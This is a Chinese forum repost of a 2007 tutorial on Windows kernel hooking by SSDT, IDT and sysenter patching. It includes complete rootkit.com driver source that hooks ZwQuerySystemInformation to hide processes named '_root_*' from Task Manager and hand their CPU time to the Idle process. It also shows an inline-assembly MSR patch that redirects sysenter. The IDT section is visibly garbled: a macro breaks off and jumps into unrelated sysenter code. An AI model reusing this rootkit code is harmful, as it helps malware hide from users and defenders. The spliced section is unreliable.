论坛: 编程破解 标题: [转帖]必备绝技――hook大法(中) 复制本贴地址    
作者: yongmin [yongmin]    论坛用户   登录
作者:Lvg
转贴自:一蓑烟雨


【文章标题】: 必备绝技――hook大法( 中 )
【文章作者】: LvG
【作者邮箱】:

LvG2008@gmail.com

【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
  这次主要说说核心层的hook。包括SSDT-hook,IDT-hook,sysenter-hook。欢迎讨论,指正!内核层需要驱动,有这方面的基础最好,如果不会,了解下其中的思路也可以的。
 
  II. SSDT-hook,IDT-hook,sysenter-hook
  一.SSDT-hook
  (一)一般思路:
  1.先来了解一下,什么是SSDT
  SSDT既System Service Dispath  Table。在了解他之前,我们先了解一下NT的基本组建。在 Windows NT 下,NT 的 executive(NTOSKRNL.EXE 的一部分)提供了核心系统服务。各种 Win32、OS/2 和 POSIX 的 APIs 都是以 DLL 的形式提供的。这些dll中的 APIs 转过来调用了 NT executive 提供的服务。尽管调用了相同的系统服务,但由于子系统不同,API 函数的函数名也不同。例如,要用Win32 API 打开一个文件,应用程序会调用 CreateFile(),而要用 POSIX API,则应用程序调用 open() 函数。这两种应用程序最终都会调用 NT executive 中的 NtCreateFile() 系统服务。
系统组建.jpg







系统组件.JPG
(52.99 KB)
2007-4-12 18:42
用户模式(User mode)的所有调用,如Kernel32,User32.dll, Advapi32.dll等提供的API,最终都封装在Ntdll.dll中,然后通过Int 2E或SYSENTER进入到内核模式,通过服务ID,在System Service Dispatcher Table中分派系统函数,举个具体的例子,再如下图
调用过程.jpg







调用过程.JPG
(14.5 KB)
2007-4-12 18:42
  从上可知,SSDT就是一个表,这个表中有内核调用的函数地址。从上图可见,当用户层调用FindNextFile函数时,最终会调用内核层的NtQueryDirectoryFile函数,而这个函数的地址就在SSDT表中,如果我们事先把这个地址改成我们特定函数的地址,那么,哈哈。。。。。。。下来详细了解一下,SSDT的结构,如下图:
SSDT.jpg







SSDT.JPG
(17.38 KB)
2007-4-12 18:42
  KeServiceDescriptorTable:是由内核(Ntoskrnl.exe)导出的一个表,这个表是访问SSDT的关键,具体结构是
  typedef struct ServiceDescriptorTable {
  PVOID ServiceTableBase;
  PVOID ServiceCounterTable(0);
  unsigned int NumberOfServices;
  PVOID ParamTableBase;
  }
 
  其中,
  ServiceTableBase System Service Dispatch Table 的基地址。
  NumberOfServices 由 ServiceTableBase 描述的服务的数目。
  ServiceCounterTable 此域用于操作系统的 checked builds,包含着 SSDT 中每个服务被调用次数的计数器。这个计数器由 INT 2Eh 处理程序 (KiSystemService)更新。
  ParamTableBase 包含每个系统服务参数字节数表的基地址。
  System Service Dispath Table(SSDT):系统服务分发表,给出了服务函数的地址,每个地址4子节长。
  System Service Parameter Table(SSPT):系统服务参数表,定义了对应函数的参数字节,每个函数对应一个字节。如在0x804AB3BF处的函数需0x18字节的参数。
  还有一种这样的表,叫KeServiceDescriptorTableShadow,它主要包含GDI服务,也就是我们常用的和窗口,桌面有关的,具体存在于Win32k.sys。在如图:
  服务分发.jpg







服务分发.JPG
(35.71 KB)
2007-4-12 18:42
  右侧的服务分发就通过KeServiceDescriptorTableShadow。
  那么下来该咋办呢?下来就是去改变SSDT所指向的函数,使之指向我们自己的函数。
  2.Hook前的准备-改变SSDT内存的保护
  系统对SSDT都是只读的,不能写。如果试图去写,等你的就是蓝脸。一般可以修改内存属性的方法有:通过cr0寄存器及Memory Descriptor List(MDL)。
  (1)改变CR0寄存器的第1位
  Windows对内存的分配,是采用的分页管理。其中有个CR0寄存器,如下图:
CR0.jpg







cr0.jpg
(9.37 KB)
2007-4-12 18:42 
  其中第1位叫做保护属性位,控制着页的读或写属性。如果为1,则可以读/写/执行;如果为0,则只可以读/执行。SSDT,IDT的页属性在默认下都是只读,可执行的,但不能写。所以现在要把这一位设置成1。
  (2)通过Memory Descriptor List(MDL)
  也就是把原来SSDT的区域映射到我们自己的MDL区域中,并把这个区域设置成可写。MDL的结构:
  typedef struct _MDL {
  struct _MDL *Next; 
  CSHORT Size;     
  CSHORT MdlFlags;  //关键在这里,将来设置成MDL_MAPPED_TO_SYSTEM_VA ,这样一来,这块区域就可写
  struct _EPROCESS *Process;
  PVOID MappedSystemVa;
  PVOID StartVa;
  ULONG ByteCount;
  ULONG ByteOffset;
  } MDL, *PMDL;
  首先需要知道KeServiceDscriptorTable的基址和入口数,这样就可以用MmCreateMdl创建一个有起始地址和大小的内存区域。然后把这个MDL结构的flag改成
  MDL_MAPPED_TO_SYSTEM_VA ,那么这个区域就可以写了。最后把这个内存区域调用MmMapLockedPages锁定在内存中。大体框架如下:
  //先声明一个System Service Descriptor Table,我们知道SSDT及SSPT都从这个表中指向
  #pragma pack(1)
  typedef struct ServiceDescriptorEntry {
 
          unsigned int *ServiceTableBase;
 
          unsigned int *ServiceCounterTableBase;
 
          unsigned int NumberOfServices;
 
          unsigned char *ParamTableBase;
 
  } SSDT_Entry;
 
  #pragma pack()
 
  __declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;
 
 
  /
  PMDL  g_pmdlSystemCall;
 
  PVOID *MappedSystemCallTable;
  // 代码
  // 保存原系统调用位置
 
 
 
  // 映射我们的区域
 
  g_pmdlSystemCall = MmCreateMdl(NULL,
 
                    KeServiceDescriptorTable.ServiceTableBase,
 
                    KeServiceDescriptorTable.NumberOfServices*4);
 
  if(!g_pmdlSystemCall)
 
    return STATUS_UNSUCCESSFUL;
 
  MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
 
  // 改变MDL的flags
 
  g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
 
                              MDL_MAPPED_TO_SYSTEM_VA;
 
 
  //在内存中索定,不让换出
  MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
 
  现在遇到的第一个问题解决了,但接着面临另外一个问题,如何获得SSDT中函数的地址呢?
  3.四个有用的宏
  SYSTEMSERVICE macro:可以获得由ntoskrnl.exe导出函数,以Zw*开头函数的地址,这个函数的返回值就是Nt*函数,Nt*函数的地址就在SSDT中
  SYSCALL_INDEX macro:获得Zw*函数的地址并返回与之通信的函数在SSDT中的索引。
  这两个宏之所以能工作,是因为所有的Zw*函数都开始于opcode:MOV eax, ULONG,这里的ULONG就是系统调用函数在SSDT中的索引。
  HOOK_SYSCALL和UNHOOK_SYSCALL macros:获得Zw*函数的地址,取得他的索引,自动的交换SSDT中索引所对应的函数地址和我们hook函数的地址。
  这四个宏具体是:
  #define SYSTEMSERVICE(_func) \
          KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
 
  #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
 
  #define HOOK_SYSCALL(_Function, _Hook, _Orig )      \
 
          _Orig = (PVOID) InterlockedExchange( (PLONG) \
 
          &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
 
  #define UNHOOK_SYSCALL(_Func, _Hook, _Orig )  \
 
          InterlockedExchange((PLONG)          \
 
          &MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)
     
  4.小试牛刀:利用SSDT Hook隐藏进程
  我们所熟知的任务管理器,能察看系统中的所有进程及其他很多信息,这是由于调用了一个叫ZwQuerySystemInformation的内核函数,具体结构是:
  NTSTATUS NewZwQuerySystemInformation(
  IN ULONG SystemInformationClass,  //如果这值是5,则代表系统中所有进程信息
  IN PVOID SystemInformation,  //这就是最终列举出的信息,和上面的值有关
  IN ULONG SystemInformationLength, //后两个不重要
  OUT PULONG ReturnLength)
  如果用我们自己函数,这个函数可以把我们关心的进程过滤掉,再把它与原函数调换,则可达到隐藏的目的,大体思路如下:
  (1)  突破SSDT的内存保护,如上所用的MDL方法
  (2)  实现自己的NewZwQuerySystemInformation函数,过滤掉以某些字符开头的进程
  (3)  用上面介绍的宏来交换ZwQuerySystemInformation与我们自己的New*函数
  (4)  卸载New*函数,完成
  具体实例:来自Rootkit.com,我做了注释,代码也很精小。
#include "ntddk.h"
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //仅适用于checked build版本
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
//获得SSDT基址宏
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
PMDL  g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
//获得函数在SSDT中的索引宏
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
//调换自己的hook函数与原系统函数的地址
#define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
      _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//卸载hook函数
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
      InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
//声明各种结构
struct _SYSTEM_THREADS
{
        LARGE_INTEGER          KernelTime;
        LARGE_INTEGER          UserTime;
        LARGE_INTEGER          CreateTime;
        ULONG                          WaitTime;
        PVOID                          StartAddress;
        CLIENT_ID                      ClientIs;
        KPRIORITY                      Priority;
        KPRIORITY                      BasePriority;
        ULONG                          ContextSwitchCount;
        ULONG                          ThreadState;
        KWAIT_REASON            WaitReason;
};
struct _SYSTEM_PROCESSES
{
        ULONG                          NextEntryDelta;
        ULONG                          ThreadCount;
        ULONG                          Reserved[6];
        LARGE_INTEGER          CreateTime;
        LARGE_INTEGER          UserTime;
        LARGE_INTEGER          KernelTime;
        UNICODE_STRING          ProcessName;
        KPRIORITY                      BasePriority;
        ULONG                          ProcessId;
        ULONG                          InheritedFromProcessId;
        ULONG                          HandleCount;
        ULONG                          Reserved2[2];
        VM_COUNTERS                    VmCounters;
        IO_COUNTERS                    IoCounters; //windows 2000 only
        struct _SYSTEM_THREADS          Threads[1];
};
// Added by Creative of rootkit.com
struct _SYSTEM_PROCESSOR_TIMES
{
    LARGE_INTEGER          IdleTime;
    LARGE_INTEGER          KernelTime;
    LARGE_INTEGER          UserTime;
    LARGE_INTEGER          DpcTime;
    LARGE_INTEGER          InterruptTime;
    ULONG              InterruptCount;
};
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength);
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ULONG SystemInformationCLass,
                        PVOID SystemInformation,
                        ULONG SystemInformationLength,
                        PULONG ReturnLength
);
ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;
// Added by Creative of rootkit.com
LARGE_INTEGER          m_UserTime;
LARGE_INTEGER          m_KernelTime;
//我们的hook函数,过滤掉以"_root_"开头的进程
NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength)
{
  NTSTATUS ntStatus;
  ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
          SystemInformationClass,
          SystemInformation,
          SystemInformationLength,
          ReturnLength );
  if( NT_SUCCESS(ntStatus))
  {
      // Asking for a file and directory listing
      if(SystemInformationClass == 5)
      {
      // 列举系统进程链表
    // 寻找以"_root_"开头的进程
   
         
    struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
            struct _SYSTEM_PROCESSES *prev = NULL;
   
    while(curr)
    {
            //DbgPrint("Current item is %x\n", curr);
      if (curr->ProcessName.Buffer != NULL)
      {
        if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
        {
          m_UserTime.QuadPart += curr->UserTime.QuadPart;
          m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
          if(prev) // Middle or Last entry
          {
            if(curr->NextEntryDelta)
              prev->NextEntryDelta += curr->NextEntryDelta;
            else  // we are last, so make prev the end
              prev->NextEntryDelta = 0;
          }
          else
          {
            if(curr->NextEntryDelta)
            {
              // we are first in the list, so move it forward
              (char *)SystemInformation += curr->NextEntryDelta;
            }
            else // we are the only process!
              SystemInformation = NULL;
          }
        }
      }
      else // Idle process入口
      {
        //  把_root_进程的时间加给Idle进程,Idle称空闲时间
         
        curr->UserTime.QuadPart += m_UserTime.QuadPart;
        curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
        // 重设时间,为下一次过滤
        m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
      }
      prev = curr;
        if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
        else curr = NULL;
      }
    }
    else if (SystemInformationClass == 8) // 列举系统进程时间
    {
        struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
        times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
    }
  }
  return ntStatus;
}
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
  DbgPrint("ROOTKIT: OnUnload called\n");
  // 卸载hook
  UNHOOK_SYSCALL( ZwQuerySystemInformation, OldZwQuerySystemInformation, NewZwQuerySystemInformation );
  // 解索并释放MDL
  if(g_pmdlSystemCall)
  {
      MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
      IoFreeMdl(g_pmdlSystemCall);
  }
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
          IN PUNICODE_STRING theRegistryPath)
{
  // 注册一个卸载的分发函数,与与应用层沟通
  theDriverObject->DriverUnload  = OnUnload;
  // 初始化全局时间为零
  // 这将会解决时间问题,如果不这样,尽管隐藏了进程,但时间的消耗会不变,cpu 100%
  m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
  // 储存旧的函数地址
  OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
  // 把SSDT隐射到我们的区域,以便修改它为可写属性
  g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
  if(!g_pmdlSystemCall)
      return STATUS_UNSUCCESSFUL;
  MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
  // 改变MDL的Flags属性为可写,既然可写当然可读,可执行
  g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
  MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
  // 用了宏,把原来的Zw*替换成我们的New*函数。至此已完成了我们的主要两步,先突破了SSDT的保护,接着用宏更改了目标函数,下来就剩下具体的过滤任务了
  HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySystemInformation, OldZwQuerySystemInformation );
                             
  return STATUS_SUCCESS;
}
 
  二.IDT hook
  (一)基本思路:IDT(Interrupt Descriptor Table)中断描述符表,是用来处理中断的。中断就是停下现在的活动,去完成新的任务。一个中断可以起源于软件或硬件。比如,出现页错误,调用IDT中的0x0E。或用户进程请求系统服务(SSDT)时,调用IDT中的0x2E。而系统服务的调用是经常的,这个中断就能触发。我们现在就想办法,先在系统中找到IDT,然后确定0x2E在IDT中的地址,最后用我们的函数地址去取代它,这样以来,用户的进程(可以特定设置)一调用系统服务,我们的hook函数即被激发。
  (二)需解决的问题:从上面分析可以看出,我们大概需要解决这几个问题:
  1.IDT如何获取呢?SIDT指令可以办到,它可以在内存中找到IDT,返回一个IDTINFO结构的地址。这个结构中就含有IDT的高半地址和低半地址。为了方便把这两个半地址合在一起,我们可以用一个宏。IDTINFO,和宏的结构如下:
  typedef struct
  {
  WORD IDTLimit;
  WORD LowIDTbase;  //IDT的低半地址
  WORD HiIDTbase;    //IDT的高半地址
  } IDTINFO;
  方便获取地址存取的宏
  #define MAKELONG(a, b)((LONG)(((WORD)(a))|((DWORD)((WORD)(b)))DriverUnload  = OnUnload;
 
    __asm {
                    mov ecx, 0x176               
      rdmsr                          // 读IA3_SYSENTER_EIP寄存器值,存有sysenter的地址           
      mov d_origKiFastCallEntry, eax //保存原值,以便恢复
      mov eax, MyKiFastCallEntry    // hook函数地址
      wrmsr                          // 将hook函数移入IA32_SYSENTER_EIP寄存器
    }
 
    return STATUS_SUCCESS;
  }
 
 
基本的改变数据结构的hook就说到这里,当然还有DKOM这种高级的技术,有兴趣的自己去看看吧。
 
                                                                    by LvG(吕歌)
参考文献:> rootkit.com
          >  >
 
--------------------------------------------------------------------------------
【版权声明】: 本文原创于看雪技术论坛, 一蓑烟雨,转载请注明作者并保持文章的完整, 谢谢!



[此贴被 yongmin(yongmin) 在 04月17日09时32分 编辑过]

地主 发表时间: 07-04-17 09:27

论坛: 编程破解

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号